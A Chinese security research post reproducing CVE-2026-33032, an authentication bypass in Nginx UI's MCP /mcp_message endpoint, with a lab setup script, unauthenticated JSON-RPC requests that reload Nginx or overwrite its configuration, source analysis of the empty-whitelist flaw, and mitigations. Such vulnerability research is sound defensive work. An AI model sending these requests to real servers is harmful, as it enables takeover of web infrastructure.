Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究

0x0 背景介绍

Nginx UI是一个用于管理Nginx服务器的开源Web界面系统。

该组件的MCP(Model Context Protocol)集成模块在暴露 /mcp_message接口时,仅应用了IP白名单中间件而缺少身份验证。由于默认

IP白名单为空,中间件会将其解析为"允许所有",导致鉴权逻辑完全失效。

远程攻击者无需任何权限即可通过该接口调用所有MCP工具,执行重启Nginx、修改或删除 Nginx 配置文件等操作,从而实现对Nginx服务的完整接管。

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

bash 复制代码
#!/bin/bash
# 检查并安装依赖
if ! command -v curl &> /dev/null || ! command -v wget &> /dev/null; then
    echo "[*] 安装依赖工具..."
    apt update && apt install -y curl wget
fi
# 检查 Docker 是否安装
if ! command -v docker &> /dev/null; then
    echo "[*] 未安装 Docker,请检查安装"
else
    echo "[+] Docker 已安装"
fi
# 检查 Docker Compose 插件
if ! docker compose version &> /dev/null; then
    echo "[-] Docker Compose 插件不可用,请检查安装"
    exit 1
else
    echo "[+] Docker Compose 插件可用"
fi
echo "[*] 阶段1/4:创建 Nginx UI 工作目录..."
mkdir -p ~/nginx-ui && cd ~/nginx-ui || { echo "[-] 创建目录失败"; exit 1; }
mkdir -p nginx logs data config
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段2/4:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
version: '3.8'
services:
  nginx-ui:
    image: uozi/nginx-ui:2.3.2
    container_name: nginx-ui
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
      - "9000:9000"
    volumes:
      - ./nginx:/etc/nginx
      - ./logs:/var/log/nginx
      - ./data:/data
      - ./config:/etc/nginx-ui
    environment:
      - TZ=Asia/Shanghai
      - NGINX_UI_IGNORE_DOCKER_SOCKET=true
EOF
echo "[+] docker-compose.yml 已生成"
echo "[*] 阶段3/4:启动 Docker 容器..."
docker compose pull
docker compose up -d
echo "[*] 等待服务启动(约30秒)..."
for i in {1..6}; do
    echo -n "."
    sleep 5
done
echo -e "\n[+] 容器已启动"
echo "[*] 检查 Nginx UI Web 服务是否就绪..."
RETRIES=0
MAX_RETRIES=12
until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "200" ] || [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "302" ]; do
    sleep 5
    RETRIES=$((RETRIES+1))
    if [ $RETRIES -ge $MAX_RETRIES ]; then
        echo "[-] Nginx UI 服务未在规定时间内响应,请手动检查: docker compose logs"
        exit 1
    fi
    echo -n "."
done
echo -e "\n[+] Nginx UI Web 服务已就绪 (HTTP 状态码 200/302)"
echo "=============================================="
echo " Nginx UI 2.3.2 部署完成!"
echo "  - 访问管理界面: http://IP:9000"
echo "  - 首次访问请完成安装向导"
echo ""
echo "  - 配置文件目录: ~/nginx-ui/config"
echo "  - Nginx 配置目录: ~/nginx-ui/nginx"
echo "  - 日志目录: ~/nginx-ui/logs"
echo "  - 数据目录: ~/nginx-ui/data"
echo ""
echo "  - 容器管理命令:"
echo "      docker compose up -d   # 启动"
echo "      docker compose down     # 停止"
echo "      docker compose logs -f  # 查看日志"
echo "=============================================="

0x2 漏洞复现

  • 复现思路围绕两个 MCP 端点展开:/mcp(SSE 流)与/mcp_message(消息投递端点)。路由层对两个端点都挂载了middleware.AuthRequired()-见 mcp/router.go,因此严格按当前代码构建时,不携带token或node_secret将得到403-见单测 mcp/router_test.go)
  • 参考:
bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/Nginx-ui-cve-2026-33032.md

2.1 -场景 A:快速探测(确认是否"未授权可调用")

  • 目标:用最小成本判断你的部署是否符合 CVE 描述的"/mcp_message 无需认证"。
  1. 发送一个空 body 的 POST,请求 /mcp_message:
bash 复制代码
POST /mcp_message HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length:0
  1. 观察响应:
    •若返回 403 且 body 类似 {"message":"Authorization failed"}:
    说明至少存在认证拦截(与 middleware.AuthRequired() 行为一致)。
    •若返回 200 / 4xx 但不是鉴权失败,且服务端产生 MCP 协议相关错误:
    高度可疑,继续用 2.2/2.3 的"工具调用"确认是否能执行高危操作。

2.2-场景B:低版本创建文件利用


2.2-场景C: Nginx 重载(爆发点最短链路)

bash 复制代码
POST /mcp_message HTTP/1.1
Host:<target>
Content-Type: application/json

{
"jsonrpc":"2.0",
"id":1,
"method":"tools/call",
"params":{
"name":"reload_nginx",
"arguments":{}
}

}

流量特征:

bash 复制代码
•路径:/mcp_message
•方法:POST
•内容类型:application/json
•关键字段:"method":"tools/call" + "name":"reload_nginx"

2.3-场景D:修改既有配置文件(nginx_config_modify)

工具定义见 mcp/config/config_modify.go:它将 relative_path 解析为绝对路径,校验文件存在后写入新内容。

bash 复制代码
POST /mcp_message HTTP/1.1
Host: <target>
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "<relative_path>",
      "content": "<new_content>",
      "sync_overwrite": true,
      "sync_node_ids": []
    }
  }
}

流量特征:

  • "name":"nginx_config_add" / "name":"nginx_config_modify"

  • "arguments" 中出现 "content"(Nginx 配置正文),通常体积较大且包含 server { ... }、location 等关键字

2.4-区别验证:版本进行验证结果

  • 2.3.6版本即使获取seesion也失败

  • 2.3.5和2.3.6直接请求接口结果一样,但是2.3.5获取seesion还是可以利用的

  • 再往下第一个版本直接去请求接口会提示seesion问题,不会提示认证

2.5-复现流量特征 (PCAP)

  • 截取的成功利用的流量,带认证获取seesion

  • 后续无认证也可以进行操作接口

0x3 漏洞原理分析

3.0-架构与模块定位 MCP 链路的入口层、逻辑层与危险操作面

本次分析是2.3.5版本:MCP 模块并不是"独立的一套 API",它更像是一条把 HTTP 请求 转换为 工具调用(Tool Call) 的通道:

bash 复制代码
•入口层(HTTP 暴露面):
 Gin 路由把 /mcp 与 /mcp_message 暴露出来,并决定它们是否经过白名单/认证。

•逻辑层(协议适配层):
 internal/mcp/server.go 将 HTTP 请求交给 mcp-go 的 SSE/Message 服务器去解析、分发。

•驱动层(工具执行):
 mcp/config/*、mcp/nginx/* 注册的工具 handler 最终落到文件系统写入、Nginx reload/restart 等操作。
涉及核心文件(按漏洞层面职责划分非业务):

涉及核心文件(按漏洞层面职责划分非业务):

小知识:

bash 复制代码
· MCP 双端点与会话机制:
Nginx UI 的 MCP 集成采用 SSE(Server-Sent Events) 模型,包含两个互补的 HTTP 端点:

•/mcp:
负责建立会话(SSE 流),返回一个临时 sessionId。在漏洞版本中,能预测的node_secret 绕过认证(即"未授权获取 sessionId")。

•/mcp_message:
主要是接收具体的工具调用请求(JSON-RPC),必须携带有效的 sessionId 作为查询参数。

3.1-核心入口 从路由锁定 MCP 暴露面

未授权真的耽搁了好久,一直发现有理解误差哎,第一步是直接去找 MCP 的路由注册点,看它到底把哪些 HTTP 入口暴露给外界。

在router/routers.go里发现 MCP 路由在全局引擎初始化时被无条件挂载:

go 复制代码
// router/routers.go
mcp.InitRouter(r)

顺着进入mcp/router.go,这里把两个端点明确地注册到了Gin:

go 复制代码
// mcp/router.go
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) {
    mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) {
    mcp.ServeHTTP(c)
})
  • 边界很清晰:MCP能做 "改配置 / 重载 / 重启",所以它至少应该被 认证(AuthRequired)和 来源限制(IPWhiteList)包住。

该漏洞的核心冲突点也在这里:如果实际环境中里存在某个构建 / 分支让/mcp_message缺失AuthRequired(),那就理论上攻击者可以绕过认证,直接把 "工具调用" 投递进来。

3.2-逻辑缺陷 "默认白名单为空" 在实现上等价于 "放行所有人"

接着往下看,从路由转移到 "它依赖的最后一道门":middleware.IPWhiteList()在白名单逻辑的第一段判断值得关注:

go 复制代码
// internal/middleware/ip_whitelist.go
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}
  • 预期设计:IP白名单是一道 "额外收口" 的边界,理想状态应是 "默认拒绝,显式放行"。
  • 实际实现:len(IPWhiteList)==0 时直接Next()------ 默认白名单为空的情况下,它不是 "没人被允许",而是 "所有人都被允许"

其实逻辑本身也没啥问题(很多产品会用 "空 = 不启用限制" 的语义),但它会在一个特定条件下出现了问题:当某个高危入口 "只剩它这一道门" 时,空白名单就等价于裸奔

正因如此CVE描述里 "/mcp_message 仅应用 IP白名单" 会造成质变 ------ 因为IPWhiteList()在默认配置下并不构成约束。

3.3-攻击链路 一旦消息端点失守,MCP 工具就是 "远程运维超能力"

接着就是证明 "失守会造成什么结果",继续沿着mcp.ServeHTTP()往下追,看看它最终把请求交给了谁。

在internal/mcp/server.go里,MCP采用mcp-go的SSE/Message双端点模型:

go 复制代码
// internal/mcp/server.go
sseServer = server.NewSSEServer(
    mcpServer,
    server.WithSSEEndpoint("/mcp"),
    server.WithMessageEndpoint("/mcp_message"),
)

func ServeHTTP(c *gin.Context) {
    sseServer.ServeHTTP(c.Writer, c.Request)
}
  • 这解释了为什么CVE特别强调 "两个端点":/mcp 负责建立会话,/mcp_message负责投递工具调用消息。
  • 在这种模型下,如果消息端点未被认证保护,攻击者甚至不需要完整模拟前端 /Agent,只要能构造出 tools/call类请求,就能直接触发后端工具执行。
  • 下面就是挖掘下能造成什么影响,在mcp/nginx/reload.go与mcp/nginx/restart.go找到了两个最直观操作:
go 复制代码
// mcp/nginx/reload.go
const nginxReloadToolName = "reload_nginx"
func handleNginxReload(...) (*mcp.CallToolResult, error) {
    output, err := nginx.Reload()
    ...
}

// mcp/nginx/restart.go
const nginxRestartToolName = "restart_nginx"
func handleNginxRestart(...) (*mcp.CallToolResult, error) {
    nginx.Restart()
    ...
}
  • 更关键的是配置文件写入能力。在mcp/config/config_add.go中,工具会直接落到文件系统写入,并且写完立即 reload:
go 复制代码
// mcp/config/config_add.go
err = os.WriteFile(path, []byte(content), 0644)
...
res := nginx.Control(nginx.Reload)
  • 以及mcp/config/config_modify.go中对既有配置的覆盖写入:
go 复制代码
// mcp/config/config_modify.go
absPath, err := config.ResolveAbsoluteOrRelativeConfPath(relativePath)
...
err = config.Save(absPath, content, cfg)
  • 预期边界:这些工具本质上等价于 "远程root级运维接口"(至少在Nginx管理维度上),合理的边界应当是:强认证 + 强来源限制 + 最小权限(分工具授权)+ 审计。
  • 现实实现:工具层本身几乎不做权限判定;它把所有安全假设都押在 "HTTP入口一定会被认证 / 白名单正确保护" 上。
  • 一旦/mcp_message端点出现 "少挂一个中间件" 的工程性失误,攻击者拿到的不是一个普通API,而是一整套 可写配置 + 可触发
    reload/restart的接管能力。

3.4 链路总结 从 "注入点" 到 "爆发点" 的完整调用链

以/mcp_message 缺失认证,仅IP白名单;且白名单默认为空放行 叙述中的缺口为前提,完整链路可以被还原为:

bash 复制代码
`HTTP POST /mcp_message`(**注入点:未认证消息投递**)
-> `router`:`mcp.InitRouter()`
-> `middleware.IPWhiteList()`(**空白名单直接放行**)
-> `mcp.ServeHTTP()`(`internal/mcp/server.go`)
-> `mcp-go SSEServer` 解析消息(method: `tools/call`)
-> `mcpServer.AddTool(...)` 注册的工具 handler
-> `handleNginxConfigAdd/Modify` 写入配置(**爆发点:文件系统变更**)
-> `nginx.Control(nginx.Reload)` / `handleNginxReload`(**爆发点:配置立即生效**)
-> Nginx 服务配置面被完全接管
  • 补充:在 "当前代码快照" 的安全边界里,AuthRequired()还提供了 node_secret 这一条认证通路(internal/middleware/middleware.go):
go 复制代码
// internal/middleware/middleware.go
if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
    ...
    c.Next()
    return
}
  • 并且settings.NodeSettings.Secret在为空时会自动生成随机UUID并写回配置(internal/kernel/boot.go::InitNodeSecret)。
  • 这意味着:只要认证中间件确实挂载生效,攻击者无法靠 "默认空 secret" 绕过。

0x4 修复建议

1、升级最新版本:将组件升级最新版本2.3.6

bash 复制代码
https://github.com/0xJacky/nginx-ui

2、临时防护措施:

  • 限制访问:在Nginx / 反代层对/mcp与 /mcp_message 做强制收口,仅允许管理网段访问,避免直接暴露到公网或非受控网段

  • 防火墙拦截:配置规则,拦截对模块异常的请求(^/(mcp|mcp_message)$ ),关注body 关键字,对未携带 token/node_secret 的请求直接阻断

  • 白名单配置:明确配置 settings.AuthSettings.IPWhiteList 为你的运维出口 IP 列表(不要保持空值)。因为 IPWhiteList() 的实现语义是 "空 = 不限制"。

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
用户0328472220708 小时前
如何搭建本地yum源(上)
运维
大树883 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质3 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
SM177152118383 天前
NSK紧凑型FA系列丝杠技术详解
经验分享·规格说明书
Inhand陈工3 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
酣大智3 天前
ARP代理--工作原理
运维·网络·arp·arp代理
shushangyun_3 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
零零信安3 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
施努卡机器视觉3 天前
SNK施努卡侧滑门锁上滑轮总成自动化装配线,从零件到组件,全流程精密制造方案
运维·自动化·制造